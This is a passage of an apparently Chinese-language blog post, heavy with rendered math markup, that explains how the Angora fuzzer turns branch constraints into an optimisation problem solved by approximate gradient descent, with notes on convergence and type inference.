则后面都是不会发生改变的。我计算得到的空间复杂度跟原文有一定区别,原文是 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="9.822ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4341.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D442" d="M740 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文中尝试将<strong>求解约束</strong>转化成<strong>最优化问题</strong>，所以需要让上面的问号变成一个具体的值，而不是通常情况下的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="5.531ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2444.7 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 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alt="image-20201010112614754"><figcaption aria-hidden="true">image-20201010112614754</figcaption></figure><p>将二元运算转化成了具体函数，函数值间接表示约束的成立。通过合适的函数表示，将所有的约束成立都变成了 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.447ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3733.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(1511,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(2177.8,0)"><path data-c="2264" d="M674 636Q682 636 688 630T694 615T687 601Q686 600 417 472L151 346L399 228Q687 92 691 87Q694 81 694 76Q694 58 676 56H670L382 192Q92 329 90 331Q83 336 83 348Q84 359 96 365Q104 369 382 500T665 634Q669 636 674 636ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path></g><g data-mml-node="mn" transform="translate(3233.6,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></svg></mjx-container></span> ，复杂的组合条件可以经过转换变成简单的二元运算：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(a&amp;b){}</span><br><span class="line"></span><br><span class="line"><span class="comment">//transform</span></span><br><span class="line"><span class="keyword">if</span>(a){</span><br><span class="line"><span class="keyword">if</span>(b){</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这样，向最优化问题的转换变成了可能。注意 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.244ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 550 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></svg></mjx-container></span> 实际上还是一个黑盒函数，你是并不知道它完整构造的，只能通过输入，得到输出，也是一个无约束最优化的标准问题，为了解决这个问题，文中使用梯度下降的方法。</p><p>使用梯度下降过程中需要计算梯度，但是前面说了这里的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.244ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 550 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></svg></mjx-container></span> 是一个完全黑盒的函数，甚至可能都不是一个连续的函数。在没有其他方法的情况，只能通过近似计算梯度，来保证后面的运算。</p><p>现给出 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.244ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 550 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></svg></mjx-container></span> 的定义： <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="4.971ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2197 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 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inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="16.1ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 7116.1 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(1146.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g 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class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> 中的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.71ex" height="1.927ex" role="img" focusable="false" viewBox="0 -694 756 851.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mi" transform="translate(462,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 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role="img" focusable="false" viewBox="0 -661 345 672"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 方向上的单位向量。为了计算每个方向上的偏导数，需要跑两次<em>input</em>,第一次使用<em>original input</em> ，第二次使用经过变换<em>preturbed input</em> <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="7.535ex" height="1.979ex" role="img" focusable="false" viewBox="0 -717 3330.4 874.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44B" d="M42 0H40Q26 0 26 11Q26 15 29 27Q33 41 36 43T55 46Q141 49 190 98Q200 108 306 224T411 342Q302 620 297 625Q288 636 234 637H206Q200 643 200 645T202 664Q206 677 212 683H226Q260 681 347 681Q380 681 408 681T453 682T473 682Q490 682 490 671Q490 670 488 658Q484 643 481 640T465 637Q434 634 411 620L488 426L541 485Q646 598 646 610Q646 628 622 635Q617 635 609 637Q594 637 594 648Q594 650 596 664Q600 677 606 683H618Q619 683 643 683T697 681T738 680Q828 680 837 683H845Q852 676 852 672Q850 647 840 637H824Q790 636 763 628T722 611T698 593L687 584Q687 585 592 480L505 384Q505 383 536 304T601 142T638 56Q648 47 699 46Q734 46 734 37Q734 35 732 23Q728 7 725 4T711 1Q708 1 678 1T589 2Q528 2 496 2T461 1Q444 1 444 10Q444 11 446 25Q448 35 450 39T455 44T464 46T480 47T506 54Q523 62 523 64Q522 64 476 181L429 299Q241 95 236 84Q232 76 232 72Q232 53 261 47Q262 47 267 47T273 46Q276 46 277 46T280 45T283 42T284 35Q284 26 282 19Q279 6 276 4T261 1Q258 1 243 1T201 2T142 2Q64 2 42 0Z"></path></g><g data-mml-node="mo" transform="translate(1074.2,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(2074.4,0)"><path data-c="1D6FF" d="M195 609Q195 656 227 686T302 717Q319 716 351 709T407 697T433 690Q451 682 451 662Q451 644 438 628T403 612Q382 612 348 641T288 671T249 657T235 628Q235 584 334 463Q401 379 401 292Q401 169 340 80T205 -10H198Q127 -10 83 36T36 153Q36 286 151 382Q191 413 252 434Q252 435 245 449T230 481T214 521T201 566T195 609ZM112 130Q112 83 136 55T204 27Q233 27 256 51T291 111T309 178T316 232Q316 267 309 298T295 344T269 400L259 396Q215 381 183 342T137 256T118 179T112 130Z"></path></g><g data-mml-node="msub" transform="translate(2518.4,0)"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mi" transform="translate(518,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span> ，这里有一个非常重要的问题，有可能第二次使用<em>preturbed input</em>的时候，导致 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.244ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 550 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></svg></mjx-container></span> 所指的二元运算所在程序位置变成了<em>unreachable</em>，这个时候会导致无法计算或者计算出来的结果是毫无意义的。原文在这里没有细谈，而是一笔带过，但是在Matryoshka中在这里提到一种解决方法，有兴趣的同学可以去看看。</p><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="4.971ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2197 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(1808,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 最后是否能收敛到理想状态的下(小于0或者小于等于0) ，文中提到了三个点：</p><ul><li><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="4.971ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2197 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(1808,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 是一个单调函数或者凸函数。</li><li>局部最小值满足约束。</li><li>如果局部最小值不满足于约束，Angora将会随机的使用其他的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.594ex" height="1.717ex" role="img" focusable="false" viewBox="0 -759 1146.5 759"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(902,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> ，直到局部最小值满足约束。</li></ul><p><strong>结构和类型推断</strong></p><p>前面提到过 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="4.971ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2197 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(1808,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 中的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.966ex" height="1.552ex" role="img" focusable="false" viewBox="0 -686 869 686"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 